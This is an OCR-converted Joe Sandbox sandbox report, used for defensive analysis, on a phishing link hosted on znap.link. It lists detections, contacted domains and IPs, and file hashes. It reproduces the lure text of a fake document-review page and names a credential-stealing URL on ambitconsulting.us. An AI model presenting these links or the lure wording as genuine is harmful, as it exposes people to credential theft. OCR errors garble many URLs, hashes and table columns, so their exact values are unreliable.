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Windows Analysis Report

https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comand...

Overview
General Information Detection Signatures Classification
Sample URL:  http:// ]
https://znap.link/andrea.se MALICIOUS Yara detected HtmIPhish10
Imo-

Antivirus detection for URL or domain

michell.comandrea.selmo-
michell.comandrea.selmo-
michell.comandrea.selmo-
michell.com

Phishing site detected (based on log...

Phishing site detected (based on im...
Analysis ID: 626064

Infos: ‘f &

HTML body contains low number of ...

Invalid T&C link found

No HTML title found

E—— HTMLPhisher

- Score: 64
’ Range: 0-100
Whitelisted: false
Confidence: 100%

Process Tree

= System is wl0x64
. G chrome.exe (PID: 3012 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "https://znap.link/andrea.selmo-miche
ll.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.com MD5: C139654B5C1438A95B321BB01AD63EF6)

. G chrome.exe (PID: 4520 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-
handle=1616,13022126194278002074,11839354016134583040,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1940 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

. G chrome.exe (PID: 3552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-h
andle=1616,13022126194278002074,11839354016134583040,131072 --lang=en-US --service-sandbox-type=audio --enable-audio-service-sandbox --mojo-platform-channel-han
dle=4064 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

. G chrome.exe (PID: 2960 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-
trial-handle=1616,13022126194278002074,11839354016134583040,131072 --lang=en-US --service-sandbox-type=video_capture --enable-audio-service-sandbox --mojo-platfor
m-channel-handle=4984 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures

HTML
Source Rule Description Author Strings
01620.1.pages.csv JoeSecurity_HtmIP Yara detected Joe Security

hish_10 HtmIPhish_10
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Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Antivirus detection for URL or domain

Phishing

Yara detected HtmIPhish10

Phishing site detected (based on logo template match)

Phishing site detected (based on image similarity)

Mitre Att&ck Matrix
Initial . .
Execution Persistence
Access
Valid Windows Path
Accounts Manageme Interceptio
nt n
Instrument
ation
Default Scheduled  Boot or
Accounts  Task/Job Logon
Initializatio
n Scripts
Domain At (Linux) Logon
Accounts Script
(Windows)
Local At Logon
Accounts (Windows)  Script
(Mac)

Behavior Graph
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Screenshots
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4 Enclosed A Document From And. X +
c @ znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.com

Chrome is being controlled by automated test software.

Enclosed ADocument From Andrea Selmo For Your Review

You have received some incoming file
Received onMay 132022

b
Q46105- URGENT - OUR ORDER 277

- Click to Review Drive Document

Reference -I:Ferrari Payment Advice.pdf

Andrea Selmo
Service Manager

Michell Italia Srl Tel: +39 02 4047194

O Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link
http.// https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo- 0% Virustotal Browse

michell.comandrea.selmo-michell.com

http.// https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo- 0% Avira URL Cloud safe
michell.comandrea.selmo-michell.com

Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs
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https://www.virustotal.com/gui/url/4fd7064db47958daa93c501654fdd6eddae9da6ce689f64189ef76eaa80ffe26/detection/u-4fd7064db47958daa93c501654fdd6eddae9da6ce689f64189ef76eaa80ffe26-1652438916

Source Detection Scanner Label Link

http://https://ambitconsulting.us/jkadnmadiuya/quad/ 100% SlashNext Credential Stealing
type: Phishing &
Social Engineering

http://https://app.znaplink.com/uploads/logo/81a345d86e9f562{f86bc945747bf12e.png 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets/css/bootstrap.min.css?v=2&init=1652446571 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets/css/custom.css?v=2&init=1652446571 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets/js/libraries/bootstrap.min.js?v=2 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets/fonts/Eudoxus-Sans-font/EudoxusSans-Bold.woff2 0% Avira URL Cloud safe
http://https://imagedelivery.net/tqC70bVt8 T6GtQUXNsa2-g/b29c1f6d-97a2-4c09-cf9e- 0% Avira URL Cloud safe
dcaea7596e00/public

http://https://app.znaplink.com/themes/altum/assets//growl-notification/colored-theme.min.css 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets/js/main.js?v=2 0% Avira URL Cloud safe
http://https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo- 0% Avira URL Cloud safe

michell.comandrea.sel

http://https://app.znaplink.com/themes/altum/assets/js/libraries/popper.min.js?v=2 0% Avira URL Cloud safe
http://https://imagedelivery.net/tqC70bVt8 T6 GtQUXNsa2-g/d6b2abf0-b28f-42bd-8bb4- 0% Avira URL Cloud safe
56f9a1058c00/public?1652446571

http://https://app.znaplink.com/themes/altum/assets//slick/slick.css 0% Avira URL Cloud safe
http://https://app.znaplink.com/uploads/favicon/f5bca4b8ab78370ee3bdal1ff8bef797.png 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets//slick/slick-theme.css 0% Avira URL Cloud safe
http://https://dns.google 0% URL Reputation safe
http://https://app.znaplink.com/themes/altum/assets/fonts/Eudoxus-Sans-font/EudoxusSans- 0% Avira URL Cloud safe

Regular.woff2

http://https://imagedelivery.net/tqC70bVt8 T6GtQUXNsa2-g/9da4al13-b0d6-42db-e08f- 0% Avira URL Cloud safe
6dcc95858400/public

http://https://app.znaplink.com/themes/altum/assets//slick/slick.min.js 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets/css/link-custom.css?v=2&init=1652446571 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets/js/libraries/fontawesome.min.js?v=2 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets//growl-notification/growl-notification.min.js 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets/js/functions.js?v=2 0% Avira URL Cloud safe
http://https://app.znaplink.com/themes/altum/assets/js/libraries/jquery.min.js?v=2 0% Avira URL Cloud safe
http://https://app.znaplink.com/uploads/avatars/https://imagedelivery.net/tqC70bVt8 T6GtQUXNsa2- 0% Avira URL Cloud safe

g/b29c1f6d-97a2-4c09-cf9e-dcaea7596e00/public

http://https://app.znaplink.com/themes/altum/assets/css/animate.min.css?v=2&init=1652446571 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection Reputation
gstaticadssl.l.google.com 142.250.74.195 true false high
rsms.me 172.67.158.42 true false high
proxy-ssl-geo.webflow.com 52.49.198.28 true false high
znap.link 165.227.107.5 true false unknown
imagedelivery.net 104.18.2.36 true false unknown
cdnjs.cloudflare.com 104.17.25.14 true false high
www.google.com 142.250.185.100 true false high
uploads-ssl.webflow.com 13.225.80.69 true false high
d2ycxbs0cq3yaz.cloudfront.net 13.224.198.52 true false high
stackpath.bootstrapcdn.com 104.18.11.207 true false high
client.relay.crisp.chat 64.227.36.222 true false high
accounts.google.com 142.250.186.77 true false high
www-google-analytics.l.google.com 142.250.184.238 true false high
www-googletagmanager.l.google.com 142.250.184.200 true false high
maxcdn.bootstrapcdn.com 104.18.10.207 true false high
client.crisp.chat 104.18.29.91 true false high
static-doubleclick-net.l.google.com 142.250.185.102 true false high
d3e54v103j8qgbb.cloudfront.net 13.225.84.117 true false high
youtube-ui.l.google.com 142.250.186.142 true false high
ambitconsulting.us 107.180.51.16 true false unknown
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Name P Active Malicious Antivirus Detection Reputation

googleads.g.doubleclick.net 142.250.186.98 true false high
play.google.com 142.250.186.142 true false high
app.znaplink.com 165.227.107.5 true false unknown
clients.l.google.com 142.250.185.238 true false high
www.google.ch 142.250.186.131 true false high
static.doubleclick.net unknown unknown  false high
cdn.firstpromoter.com unknown unknown  false high
clients2.google.com unknown unknown  false high
code.jgquery.com unknown unknown  false high
www.znaplink.com unknown unknown  false unknown
analytics.tiktok.com unknown unknown  false unknown
www.youtube.com unknown unknown  false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://https://app.znaplink.com/uploads/logo/81a345d86e9f562{f86bc945747bf12e.png false e Avira URL Cloud: safe unknown
http://https://app.znaplink.com/themes/altum/assets/css/bootstrap.min.css?v=2&init=1652446571 false e Avira URL Cloud: safe unknown
http://https://app.znaplink.com/themes/altum/assets/css/custom.css?v=2&init=1652446571 false e Avira URL Cloud: safe unknown
http://https://app.znaplink.com/themes/altum/assets/js/libraries/bootstrap.min.js?v=2 false e Avira URL Cloud: safe unknown
http://https://app.znaplink.com/themes/altum/assets/fonts/Eudoxus-Sans-font/EudoxusSans- false e Avira URL Cloud: safe unknown
Bold.woff2

http://https://imagedelivery.net/tqC70bVt8 T6GtQUXNsa2-g/b29c1f6d-97a2-4c09-cf9e- false e Avira URL Cloud: safe unknown
dcaea7596e00/public

http://https://app.znaplink.com/themes/altum/assets//growl-notification/colored-theme.min.css false e Avira URL Cloud: safe unknown
http://https://app.znaplink.com/themes/altum/assets/js/main.js?v=2 false e Avira URL Cloud: safe unknown
http://https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo- true unknown

michell.comandrea.selmo-michell.com

http://https://iwww.znaplink.com/ true unknown
http://https://www.youtube.com/embed/ESD8URYd9aM? false high
rel=0&controls=1&autoplay=0&mute=08&start=0
http://https://app.znaplink.com/themes/altum/assets/js/libraries/popper.min.js?v=2 false e Avira URL Cloud: safe unknown
http://https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js false high
http://https://imagedelivery.net/tqC70bVt8T6 GtQUXNsa2-g/d6b2abf0-b28f-42bd-8bb4- false e Avira URL Cloud: safe unknown
56f9a1058c00/public?1652446571
http://https://ambitconsulting.us/jkadnmadiuya/quad/ true e SlashNext: Credential Stealing type: Phishing & unknown
Social Engineering
http://https://app.znaplink.com/themes/altum/assets//slick/slick.css false e Avira URL Cloud: safe unknown
http://https://app.znaplink.com/uploads/favicon/f5bca4b8ab78370ee3bdal1ff8bef797.png false e Avira URL Cloud: safe unknown
http://https://ambitconsulting.us/jkadnmadiuya/quad/ true e SlashNext: Credential Stealing type: Phishing & unknown
Social Engineering
http://https://app.znaplink.com/themes/altum/assets//slick/slick-theme.css false e Avira URL Cloud: safe unknown
http://https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo- false unknown
michell.comandrea.selmo-michell.com
http://https://rsms.mefinter/inter.css false high
http:ifhttps://app.znaplink.com/themes/altum/assets/fonts/Eudoxus-Sans-font/EudoxusSans- false e Avira URL Cloud: safe unknown

Regular.woff2

http:i/https://clients2.google.com/service/update2/crx? false high
os=win&arch=x64&0s_arch=x86_64&nacl_arch=x86-

64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-

US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%?26v%3D0.0.0.0%26install

edby%3Dother%26uc%26ping%3Dr%253D-

1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby

%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

http://https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high
http://https://imagedelivery.net/tqC70bVt8 T6GtQUXNsa2-g/9da4al13-b0d6-42db-e08f- false e Avira URL Cloud: safe unknown
6dcc95858400/public

http://https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js false high
http://https://app.znaplink.com/themes/altum/assets//slick/slick.min.js false e Avira URL Cloud: safe unknown
http://https://uploads- false high
ssl.webflow.com/6026bc921eff07d61a132750/60b2b236e1947af16d829f32_EudoxusSans-Bold.ttf

http://https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css false high
http://https://app.znaplink.com/themes/altum/assets/css/link-custom.css?v=2&init=1652446571 false e Avira URL Cloud: safe unknown
http://https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js false high
http://https://app.znaplink.com/themes/altum/assets/js/libraries/fontawesome.min.js?v=2 false e Avira URL Cloud: safe unknown
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Malicious Antivirus Detection

Name

http://https://app.znaplink.com/themes/altum/assets//growl-notification/growl-notification.min.js false
http://https://app.znaplink.com/themes/altum/assets/js/functions.js?v=2 false
http://https://app.znaplink.com/themes/altum/assets/js/libraries/jquery.min.js?v=2 false

http://https://app.znaplink.com/uploads/avatars/https://imagedelivery.net/tqC70bVt8 TEGtQUXNsa2-  false

g/b29c1f6d-97a2-4c09-cf9e-dcaea7596e00/public

http://https://www.znaplink.com/pricing

true

http://https://app.znaplink.com/themes/altum/assets/css/animate.min.css?v=2&init=1652446571 false

URLs from Memory and Binaries

Name
http://https://www.google.com/images/cleardot.gif
http://https://www.google.ch

http://f

https://sandbox.google.com/payments/v4/js/integrator.j
s

http://https://accounts.google.com/MergeSession
http://https://www.youtube.com

http://https://www.google.com
http://https://accounts.google.com

http://https://znap.link/andrea.selmo-
michell.comandrea.selmo-michell.comandrea.selmo-
michell.comandrea.sel

http://https://apis.google.com

http://https://www.google.com/accounts/OAuthLogin?
issueuberauth=1

http://https://www-googleapis-
staging.sandbox.google.com

http://https:/static.doubleclick.net

http://https://clients2.google.com

http://https://dns.google

http://https://github.com/google/closure-
library/wiki/goog.module:-an-ES6-module-like-
alternative-to-goog.p

http://https://www.google.com/intl/en-
US/chrome/blank.html

http://https://ogs.google.com

hitp://
https://payments.google.com/payments/v4/js/integrator
Js

http://https://googleads.g.doubleclick.net
http://https://www.google.com/images/x2.gif
http://https://www.youtube.com/
http:{/https://www.google.com/images/dot2.gif

http:i/https://clients2.googleusercontent.com

http:{/https://www.google.com/

http:i/https://clients2.google.com/service/update2/crx

World Map of Contacted IPs

Copyright Joe Security LLC 2022

Source
craw_window.js.1.dr
3bd94555-55¢c6-4ch5-9e64-1463bec2df64.tmp.3.dr

manifest.json.1.dr, craw_window.js.1.dr

craw_window.js.1.dr
3bd94555-55¢c6-4ch5-9e64-1463bec2df64.tmp.3.dr

abe7ac74-2097-4dca-9¢c5b-0730d5dcdc20.tmp.3.dr,
3bd94555-55c6-4ch5-9e64-1463bec2df64.tmp.3.dr

abe7ac74-2097-4dca-9c5b-0730d5dcdc20.tmp.3.dr,
3bd94555-55¢6-4ch5-9e64-1463bec2df64.tmp.3.dr

History Provider Cache.1.dr

abe7ac74-2097-4dca-9c5b-0730d5dcdc20.tmp.3.dr,
3bd94555-55c6-4ch5-9e64-1463bec2df64.tmp.3.dr

craw_window.js.1.dr

craw_background.js.1.dr, craw_window.js.1.dr

3bd94555-55¢6-4ch5-9e64-1463bec2df64.tmp.3.dr

abe7ac74-2097-4dca-9c5b-0730d5dcdc20.tmp.3.dr,
3bd94555-55¢6-4ch5-9e64-1463bec2df64.tmp.3.dr

52fe82a7-3126-4bc8-959a-9¢81d00e7d40.tmp.3.dr,
abe7ac74-2097-4dca-9c5b-0730d5dcdc20.tmp.3.dr,
3bd94555-55¢6-4ch5-9e64-1463bec2df64.tmp.3.dr

craw_background.js.1.dr, craw_window.js.1.dr

craw_background.js.1.dr

abe7ac74-2097-4dca-9c5b-0730d5dcdc20.tmp.3.dr,
3bd94555-55c6-4ch5-9e64-1463bec2df64.tmp.3.dr

manifest.json.1.dr, craw_window.js.1.dr

3bd94555-55¢6-4ch5-9e64-1463bec2df64.tmp.3.dr
craw_window.js.1.dr

index.txt.tmp.1.dr

craw_window.js.1.dr

abe7ac74-2097-4dca-9¢c5h-0730d5dcdc20.tmp.3.dr,
3bd94555-55¢6-4ch5-9e64-1463bec2df64.tmp.3.dr

manifest.json.1.dr

manifest.json.1.dr

.

.

3

.

.

Malicious

false
false

false

false
false

false

false

false

false

false

false

false

false

false

false

false

false

false

false
false
false
false

false

false

false

Avira URL Cloud:
Avira URL Cloud:
Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

e Avira URL Cloud: safe

e URL Reputation: safe

safe
safe
safe

safe

safe

Antivirus Detection

Reputation
unknown
unknown
unknown

unknown

unknown

unknown

Reputation
high
high
high

high
high
high

high

unknown

high

high

high

high
high

unknown

high

high
high
high
high
high
high

high
high

high
high
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[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious

107.180.51.16 ambitconsulting.us United States = 26496 AS-26496-GO-DADDY- false

COM-LLCUS

104.18.10.207 maxcdn.bootstrapcdn.co  United States =] 13335 CLOUDFLARENETUS false
m

142.250.185.102 static-doubleclick- United States = 15169 GOOGLEUS false
net.l.google.com

142.250.185.100 www.google.com United States =] 15169 GOOGLEUS false

13.225.80.118 unknown United States = 16509 AMAZON-02US false

13.225.84.117 d3e54v103j8gbb.cloudfron United States =] 16509 AMAZON-02US false
t.net

142.250.186.131 www.google.ch United States = 15169 GOOGLEUS false

104.18.29.91 client.crisp.chat United States =] 13335 CLOUDFLARENETUS false

13.225.80.69 uploads-ssl.webflow.com  United States = 16509 AMAZON-02US false

142.250.184.200 WWW- United States =] 15169 GOOGLEUS false
googletagmanager.l.goog|
e.com

142.250.186.77 accounts.google.com United States = 15169 GOOGLEUS false

142.250.74.195 gstaticadssl.l.google.com  United States =] 15169 GOOGLEUS false

142.250.186.98 googleads.g.doubleclick.n  United States = 15169 GOOGLEUS false
et

165.227.107.5 znap.link United States £S5 14061 DIGITALOCEAN-ASNUS false

104.18.2.36 imagedelivery.net United States = 13335 CLOUDFLARENETUS false

142.250.185.238 clients.l.google.com United States =] 15169 GOOGLEUS false

172.67.158.42 rsms.me United States £S5 13335 CLOUDFLARENETUS false

104.18.11.207 stackpath.bootstrapcdn.c  United States =] 13335 CLOUDFLARENETUS false
om

239.255.255.250 unknown Reserved unknown unknown false

64.227.36.222 client.relay.crisp.chat United States £S5 14061 DIGITALOCEAN-ASNUS false

142.250.186.142 youtube-ui.l.google.com United States £S5 15169 GOOGLEUS false

142.250.184.238 www-google- United States £S5 15169 GOOGLEUS false
analytics.l.google.com

52.49.198.28 proxy-ssl- United States £S5 16509 AMAZON-02US false
geo.webflow.com

13.224.198.52 d2ycxbsOcg3yaz.cloudfro  United States £S5 16509 AMAZON-02US false
nt.net

104.17.25.14 cdnjs.cloudflare.com United States £S5 13335 CLOUDFLARENETUS false
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Private

P
192.168.2.1
127.0.0.1
General Information
Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 626064
Start date and time: 13/05/202214:54:53 2022-05-13 14:54:53 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 6m 36s
Hypervisor based Inspection enabled: false
Report type: light
Cookbook file name: browseurl.jbs
Sample URL: http://https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.com
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 12
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal64.phis.win@33/106 @32/27
EGA Information: Failed
HDC Information: Failed

HCA Information:

.

Successful, ratio: 100%
e Number of executed functions: 0
Number of non-executed functions: 0

.

Cookbook Comments: Adjust boot time

Enable AMSI

Browse: https://ambitconsulting.us/jkadnmadiuya/quad/
Browse: https://www.znaplink.com/

Browse: https://www.znaplink.com/pricing

e o o o o

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, svchost.exe

TCP Packets have been reduced to 100

Created / dropped Files have been reduced to 100

Excluded IPs from analysis (whitelisted): 23.211.6.115, 142.250.184.206, 142.250.185.99, 173.194.160.71, 173.194.160.72, 69.16.175.10, 69.16.175.42, 172.217.23.106,
142.250.185.170, 142.250.186.42, 80.67.82.64, 80.67.82.34, 80.67.82.56, 80.67.82.32, 80.67.82.51, 80.67.82.19, 80.67.82.27, 80.67.82.66, 80.67.82.48, 142.250.181.226,
142.250.185.106, 142.250.186.163, 142.250.185.195, 74.125.162.10, 80.67.82.211, 80.67.82.235, 52.152.110.14, 20.54.89.106, 40.112.88.60, 20.223.24.244, 40.125.122.176

e Excluded domains from analysis (whitelisted): yt3.ggpht.com, cds.s5x3j6g5.hwedn.net, www.googleadservices.com, i.ytimg.com, store-images.s-microsoft.com-c.edgekey.net, clientservic
es.googleapis.com, al449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, r3---sn-1gi7znes.gvtl.com, redirector.gvtl.com, consumer-displaycatalogrp-aks2aks-
europe.md.mp.microsoft.com.akadns.net, login.live.com, www.googletagmanager.com, r2.sn-1gi7znes.gvtl.com, update.googleapis.com, sls.update.microsoft.com, analytics
.tiktok.com.edgekey.net, displaycatalog.mp.microsoft.com, www.gstatic.com, img-prod-cms-rt-microsoft-com.akamaized.net, www.google-analytics.com, glb.sls.prod.dcat.dsp.trafficmanag
er.net, client.wns.windows.com, fonts.googleapis.com, fs.microsoft.com, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, displaycatalog-rp-europe.md.mp.micr
osoft.com.akadns.net, r5.sn-4g5lzned.gvtl.com, ris-prod.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, e35058.a.aka

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing n etwork information.

Report size getting too big, too many NtCreateFile calls found.

Report size getting too big, too many NtOpenFile calls found.

Report size getting too big, too many NtWriteVirtualMemory calls found.

e o o o

e o o o o

Simulations
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Behavior and APIs

@ No simulations

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 451603

Entropy (8bit):  5.009711072558331

Encrypted: false

SSDEEP: 12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBIESBw4p6:NfOCzvRKhGvw]

MD5: A78AD14E77147E7DE3647E61964C0335

SHA1L: CECC3DD41F4CEA0192B24300C71E1911BD4FCE45

SHA-256: 0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0OE8I3FA

SHA-512: DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDEODFBB19CB31C506F7DE97AF67C2F244F7E7EBE10648EA8321
101

Malicious: false

Reputation: low

Preview: BDic.... ....6...."..Z..49....6.2..{/...3...5.... AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF

MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF
SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF
DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.
AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF | AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GM
DS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS
.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF
AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

C:\Users\user\AppData\Local\Google\Chrome\User Data\136553c3-02b9-4667-abf6-fc83c985e88f.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 95428
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Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

3.7441142978844155

false

384:dHfCskU2Z32NaMVRjAXNsr9voU3HE+/HazGTGrxGImxXqOKRrdAmJVXV2ksI30OWn:h6GZpG+A7seHKEWY 3vagk6M8Nb
DA767F86940400A146864955F77736C7

6C4CF159CB42FC841E72612B3285964C897851BB
4A3F296BDE7C909DBFDCEB5D0652BF50AEAG6BD6EB218F5B960216A4960A78FDB

459974D8BBD1B1B092D3B71F34F9FC29604903B061DAEE60F9507C120978D739F1B2CC8504AC858A15EE3B30C7DB8089308D59BFC79BCA7B8F7DFA85243672¢
D

false

low

L AP *..C..\P.R.0O.G.RA~1\MIC.R.O.S.~.1\.0.ffic.e.l.6.\.G.R.0O.0.V.E.EX..D.L.L..P..[)..%.p.r.o.gram.files.%.\m..c.r.o.s.0ft. .offic.el\office
.1.6.\......g.r.o.0.v.eex..dll..Micr.os.oft .Office. .2.0.1.6..*.Micr.o.s.0.ft .O.n.eD.r.iv.e. for. .B.us.ines.s. .Exte.ns.ions...16..0..47.1.1.10

.0.0. C..\\P.R.O.G.RA~1\M.I.C.R.0.S.~.1\.0.ffic.el1.6\G.R.O.0.V.EEX.D.L.L...Micro.s.o.ft .C.or.p.or.atio.n..\8D..C..\\P.ro.gram. .Files\C.o
.m.m.o.n. .F.il.e.s\M.i.cro.s.oft .S.h.ared\O.F.FICE.1.6\ms.0shext.dlL.@...U/..%.comm.o.np.r.o.g.ramfiles.%.\m.ic.ro.s.o0.ft .share.d\o.f
fic.e.l6.\...ms.os.hext.dll..M.icros.oft Offic.e.)..Micros.o.ft .Office..S.hell Extens.io.n. Handlers....16..0..4.2.6.6..1.0.0.1...D...C
.\.P.rog.ram.

C:\Users\user\AppData\Local\Google\Chrome\User Data\26d22008-477f-4171-8f1a-08b2d5e19a00.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

SysEx File -

dropped

94708

3.744472817453979

false
384:tHfCskU2Z32NaMVRjAXNsr9voU3HE+/HazGTGrxGImxXqOKRrdAmJ+V2ksI30Waa:R6GZpG+{7seHKEWY3vagK6M8NH
42197F65CB5963A6785316EFEIB62771

E8AC30D7B0AB28E3CODA1997BD06BCAF041A5028
CCF8A1F083D666B4775F068C3998BBB4D55C80E3A4AD48CI9AF4D864233A250F

A19EB3BD9335AF652A6ACB44AF1180FD92FAG5F21BC358B1305E711C989F7F643703DEE9CB24BECEBC84A2074212FD37DA0ES01791251911761BC102E438A9E
1

false

low

.q.
.1.6.\....g.ro.0.v.eex.dll..Micros.oft Office .2.0.1.6..*.Micros.oft .OneDrive. for B.usines.s. Extens.io.ns....16..0..4711.10
.0.0.....*..C..\P.R.0O.G.RA~1\M.I.C.R.O.S.~1\0fficel6\GRO.OV.EEX.DLL..Micros.oft Corp.oratio.n..\8D..C.:\Pro.gram. Files\C.o
.m.m.o.n. .F.iles\M.icros.oft Shared\O.FFICE1l6\ms.oshext.dl.@...U..%.comm.o.np.ro.gramfiles%\m.icros.oft shared\o.f
ficel6\...msoshext.dll..Microso.ft Offic.e)..Micros.o.ft .Office. .Shell Extens.io.n. Handlers.....16..0.426.6..10.0.1..D..C
2\P.ro.gram.

C:\Users\user\AppData\Local\Google\Chrome\User Data\3f6b33e2-87fa-4588-9924-16b8d41601c4.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

92724

3.7436678728609456

false
384:rHfCskU2Z3CalAXNsrovoU3HE+/HazGTGrxGImxXqOKRrdAmJ+V2ksI3OWaENJ11:IGZpG+7seHKEWY3vagK6M8NN
544BFF2612A438CB2F18A087CB5C7621

11ED522C836CE3562FAFBA08A19D78139E5ACFB1
6E59686B7E49770987FC13980EB3438BFE19B1BE7FAFA12F6B52C18802912C21

